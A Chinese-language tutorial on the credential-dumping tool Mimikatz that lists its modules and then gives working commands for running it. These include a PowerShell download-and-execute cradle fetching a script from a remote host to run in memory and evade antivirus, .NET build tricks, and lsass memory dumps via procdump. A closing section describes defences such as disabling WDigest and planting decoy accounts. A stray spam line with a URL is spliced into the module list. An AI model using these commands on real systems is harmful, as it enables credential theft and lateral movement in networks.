Mimikatz为法国人Benjamin Delpy编写的一款轻量级的调试工具,在内网渗透过程中,它多数时候是作为一款抓取用户口令的工具。然而Mimikatz其实并不只有抓取口令这个功能,它还能够创建票证、票证传递、hash传递、甚至伪造域管理凭证令牌。
功能介绍
-
CRYPTO::Certificates – 列出/导出凭证。
-
KERBEROS::Golden – 创建黄金票证/白银票证/信任票证。
-
KERBEROS::List – 列出在用户的内存中所有用户的票证(TGT 和 TGS)。
-
KERBEROS::PTT – 票证传递。
-
LSADUMP::DCSync – 向 DC 发起同步一个对象(获取帐户的密码数据)的质询。
-
LSADUMP::LSA – 向 LSA Server 质询检索 SAM/AD 的数据(正常或未打补丁的情况下)。可以从 DC 或者是一个lsass.dmp的转储文件中
-
导出所有的Active Directory 域凭证数据。同样也可以获取指定帐户的凭证,如 krbtgt 帐户,使用 /name 参数,如:“/name:krbtgt”。
-
LSADUMP::SAM - 获取 SysKey 来解密 SAM 的项目数据(从注册表或者 hive 中导出)SAM 选项。可以连接到本地安全帐户管理器(SAM)
-
数据库中并能转储本地帐户的凭证。可以用来转储在 Windows 计算机上的所有的本地凭据。
-
LSADUMP::Trust - 向 LSA Server 质询来获取信任的认证信息(正常或未打补丁的情况下)为所有相关的受信的域或林转储信任密钥(密码)
-
MISC::AddSid – 将用户帐户添加到 SID 历史记录。第一个值是目标帐户,第二值是帐户/组名(可以是多个或 SID )。 function(){ //外汇跟单www.gendan5.com
-
MISC::MemSSP – 注入恶意的 Wndows SSP 来记录本地身份验证凭据。
-
MISC::Skeleton – 在 DC 中注入万能钥匙(Skeleton Key) 到 LSASS 进程中。这使得所有用户所。 使用的万能钥匙修补 DC 使用 “主密码” (又名万能钥匙)以及他们自己通常使用的密码进行身份验证。
-
PRIVILEGE::Debug – 获得 Debug 权限(很多 Mimikatz 命令需要 Debug 权限或本地 SYSTEM 权限)。
-
SEKURLSA::Ekeys – 列出 Kerberos 密钥
-
SEKURLSA::Kerberos – 列出所有已通过认证的用户的 Kerberos 凭证(包括服务帐户和计算机帐户)
-
SEKURLSA::Krbtgt – 获取域中 Kerberos 服务帐户(KRBTGT)的密码数据。
-
SEKURLSA::LogonPasswords – 列出所有可用的提供者的凭据。这个命令通常会显示最近登录过的用户和最近登录过的计算机的凭证。
-
SEKURLSA::Pth – Hash 传递 和 Key 传递(注:Over-Pass-the-Hash 的实际过程就是传递了相关的 Key(s))
-
SEKURLSA::Tickets – 列出最近所有已经过身份验证的用户的可用的 Kerberos 票证,包括使用用户帐户的上下文运行的服务和本地计算机
-
在AD 中的计算机帐户。与 kerberos::list 不同的是 sekurlsa 使用内存读取的方式,它不会受到密钥导出的限制。
-
TOKEN::List – 列出系统中的所有令牌。
-
TOKEN::Elevate – 假冒令牌。用于提升权限至 SYSTEM 权限(默认情况下)或者是发现计算机中的域管理员的令牌。
-
TOKEN::Elevate /domainadmin – 假冒一个拥有域管理员凭证的令牌。
利用方式列举
#001 一般的执行方式
privilege::debug - 提升权限
(注:需以管理员权限运行)
sekurlsa::logonpasswords
获取内存中保存的登录信息
(注:当系统为win10或者2012R2以上,内存中默认禁止缓存明文密码可以通过修改注册表的方式进行抓取,但是需要目标机重启后,重新登录的时候才能进行抓取。)
#002 使用powershell运行Mimikatz
powershell -exec bypass "import-module ./Invoke-Cats.ps1;Invoke-Cats -pwds"
(直接使用ps1脚本执行,此方法和上面执行EXE文件一样,如果没做特殊处理,很容易被杀软杀掉。)
powershell.exe "IEX (New-Object Net.WebClient).DownloadString ('http://1.1.1.1/InvokeCats.ps1');Invoke-Cats -pwds"
(该方法利用powershell将mimikatz直接加载到内存中执行,可以达到文件不落地,过部分杀软的效果。)
#003 使用cscript运行Mimikatz
cscript katz.js
('注:该JS版Mimikatz已被各大杀软标记极易被杀,但是JS版过杀软也很简单,简单混淆之后便可实现免杀,此次演示中的该脚本已过杀软')
#004 使用.NET 2.0 执行Mimikatz
在powershell中执行
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='$Content = [System.Convert]::FromBase64String($key)Set-Content key.snk -Value $Content -Encoding Bytecsc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:regsvcs.dll /keyfile:key.snk/unsafe katz.csregsvcs.exe regsvcs.dll
#005 使用.NET 4.0 执行Mimikatz
MSBuild katz.xml
#006 使用wmic执行xsl版Mimikatz
#007 lsass内存转储
在任务管理中找到lsass.exe,将其转储出来。使用mimikatz离线导出信息
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
#008 使用procdump导出lsass内存(mysqldump也可以实现该功能)
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
防御措施
#001 禁止Debug Privilege
Debug Privilege 允许以特权用户启动的程序去调试本地系统运行的服务
如下图默认为Administrator
通过将 Debug Privilege 置空并重启服务器使其生效,再次使用 Mimikatz 的时候就会发现无法利用了
#002 WDigest
WDigest 是windows在XP系统中应用的,其作用主要是与超文本传输协议(HTTP)和简单的身份验证安全层(SASL)一起交换使用。而Digest与NTLM协议类似,也是挑战认证协议。
简单说就是:
1.客户端向服务端发起认证请求。
2.服务端返回一个随机值、客户端利用内存中的密码与客户端名,域名等信息计算一个值并发送至服务端。
3.服务端也利用相同方式计算一个值如果与客户端相同则认证成功。
在win 7 和 2008 r2 之前都是默认开启Wdigest且无法禁用,需要额外安装KB 2871997补丁(但是WIN7以及08以后的系统中微软都默认禁止了Wdigest协议)。
如下图所示(该系统为2008),在注册表WDigest中并没有 (UseLogonCredential)所以可以成功抓取到明文密码。
当安装完 KB 2871997 补丁后,需要使用以下命令:
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0
来修改注册表。修改完毕后重新运行mimikatz就已经无法抓取明文密码了
#003 Domain Cached Credentials
Domain Cached Credentials 简称 DDC,也叫 mscache。有两个版本,XP/2003 年代的叫第一代,Vasta/2008 之后的是第二代。
计算机在加入域之后就得通过 kerberos 进行认证,通过 kerberos 认证就得有域控的参与,但是如果域成员暂时无法访问到域控的话,岂不是无法认证了?域凭证缓存就是为了解决这个问题的。如果暂时访问不到域控,windows 就尝试使用本机缓存的凭证进行认证,默认缓存十条。(引用:Mimikatz 攻防杂谈)
所以如果我们去修改默认缓存次数为0次,可能在一定程度上预防Mimikatz的攻击。
#004 利用伪造的域用户检测Mimikatz攻击
利用工具将虚假的域账户写入到域内服务器的内存中,当此类服务器受到mimikatz的攻击时,攻击者将会获取到我们投递的虚假账户信息,一但攻击者利用这些信息去登录域内机器的时候,我们便可以再IDS等监控设备上捕获到攻击。
总结
Mimikatz的攻击手法多样,变种繁多,要完全防御Mimikatz也是比较困难的。但是如果我们通过多种方式结合使用,还是能对Mimikatz起到一定的防御效果。
如果运维人员能够及时更新服务器操作系统,及时安装补丁,避免赋予账户过多管理权限,将重要账户加入保护组,域账户登录过的服务器一定要进行注销等操作,又或者投递虚假账户并进行监控等操作。这些在一定程度上还是能够有效的进行防御。